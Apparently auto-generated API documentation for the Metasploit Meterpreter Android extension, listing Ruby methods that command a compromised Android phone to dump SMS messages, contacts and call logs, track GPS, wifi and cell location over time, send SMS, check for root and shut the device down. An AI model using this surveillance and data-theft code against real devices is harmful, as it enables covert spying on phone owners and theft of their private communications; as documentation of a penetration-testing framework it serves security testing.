class Rex::Post::Meterpreter::Extensions::Android::Android

Android extension - set of commands to be executed on android devices. extension by Anwar Mohamed (@anwarelmakrahy)

Constants

COLLECT_ACTIONS
COLLECT_ACTION_DUMP
COLLECT_ACTION_PAUSE
COLLECT_ACTION_RESUME
COLLECT_ACTION_START
COLLECT_ACTION_STOP
COLLECT_TYPES
COLLECT_TYPE_CELL
COLLECT_TYPE_GEO
COLLECT_TYPE_WIFI

Public Class Methods

new(client) click to toggle source
Calls superclass method Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 46
def initialize(client)
  super(client, 'android')

  # Alias the following things on the client object so that they
  # can be directly referenced
  client.register_extension_aliases(
    [
      {
        'name' => 'android',
        'ext'  => self
      }
    ])
end

Public Instance Methods

activity_start(uri) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 251
def activity_start(uri)
  request = Packet.create_request('activity_start')
  request.add_tlv(TLV_TYPE_URI_STRING, uri)
  response = client.send_request(request)
  if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
    return nil
  else
    return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value
  end
end
check_root() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 245
def check_root
  request = Packet.create_request('check_root')
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
collect_actions() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 60
def collect_actions
  return @@collect_action_list ||= COLLECT_ACTIONS.keys
end
collect_types() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 64
def collect_types
  return @@collect_type_list ||= COLLECT_TYPES.keys
end
device_shutdown(n) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 68
def device_shutdown(n)
  request = Packet.create_request('device_shutdown')
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
dump_calllog() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 228
def dump_calllog
  log = []
  request = Packet.create_request('dump_calllog')
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
    log << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }
  end
  log
end
dump_contacts() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 200
def dump_contacts
  contacts = []
  request = Packet.create_request('dump_contacts')
  response = client.send_request(request)

  response.each(TLV_TYPE_CONTACT_GROUP) do |p|
    contacts << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
      'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
      'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
    }
  end
  contacts
end
dump_sms() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 183
def dump_sms
  sms = []
  request = Packet.create_request('dump_sms')
  response = client.send_request(request)

  response.each(TLV_TYPE_SMS_GROUP) do |p|
    sms << {
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
      'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
      'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
      'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
    }
  end
  sms
end
geolocate() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 215
def geolocate
  loc = []
  request = Packet.create_request('geolocate')
  response = client.send_request(request)

  loc << {
    'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
    'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
  }

  loc
end
interval_collect(opts) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 81
def interval_collect(opts)
  request = Packet.create_request('interval_collect')
  request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
  request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
  request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
  response = client.send_request(request)

  result = {
    headers:     [],
    collections: []
  }

  case COLLECT_TYPES[opts[:type]]
  when COLLECT_TYPE_WIFI
    result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
        bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
        ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
        key = "#{bssid}-#{ssid}"

        if !records.include?(key) || records[key][0] < timestamp
          # Level is passed through as positive, because UINT
          # but we flip it back to negative on this side
          level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
          records[key] = [timestamp, bssid, ssid, level]
        end
      end
    end

    records.each do |k, v|
      result[:entries] << v
    end

  when COLLECT_TYPE_GEO
    result[:headers] = ['Timestamp', 'Latitude', 'Longitude']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w|
        lat = w.get_tlv_value(TLV_TYPE_GEO_LAT)
        lng = w.get_tlv_value(TLV_TYPE_GEO_LONG)
        result[:entries] << [timestamp, lat, lng]
      end
    end

  when COLLECT_TYPE_CELL
    result[:headers] = ['Timestamp', 'Cell Info']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell|

        cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info|
          cid = info.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = info.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = info.get_tlv_value(TLV_TYPE_CELL_PSC)
          info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc)
          result[:entries] << [timestamp, "GSM: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info|
          bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID)
          lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT)
          lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG)
          net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID)
          sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID)
          info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys)
          result[:entries] << [timestamp, "CDMA: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w|
          net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE)
          cid = w.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = w.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = w.get_tlv_value(TLV_TYPE_CELL_PSC)
          sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1
          inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig)
          result[:entries] << [timestamp, inf]
        end

      end
    end
  end

  result
end
send_sms(dest, body, dr) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 268
def send_sms(dest, body, dr)
  request = Packet.create_request('send_sms')
  request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
  request.add_tlv(TLV_TYPE_SMS_BODY, body)
  request.add_tlv(TLV_TYPE_SMS_DR, dr)
  if dr == false
    response = client.send_request(request)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return sr
  else
    response = client.send_request(request, 30)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    dr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return [sr, dr]
  end
end
set_audio_mode(n) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 75
def set_audio_mode(n)
  request = Packet.create_request('set_audio_mode')
  request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
  response = client.send_request(request)
end
set_wallpaper(data) click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 262
def set_wallpaper(data)
  request = Packet.create_request('set_wallpaper')
  request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)
  response = client.send_request(request)
end
wlan_geolocate() click to toggle source
# File lib/rex/post/meterpreter/extensions/android/android.rb, line 285
def wlan_geolocate
  request = Packet.create_request('wlan_geolocate')
  response = client.send_request(request, 30)
  networks = []
  response.each(TLV_TYPE_WLAN_GROUP) do |p|
    networks << {
      'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
      'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
      'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
    }
  end
  networks
end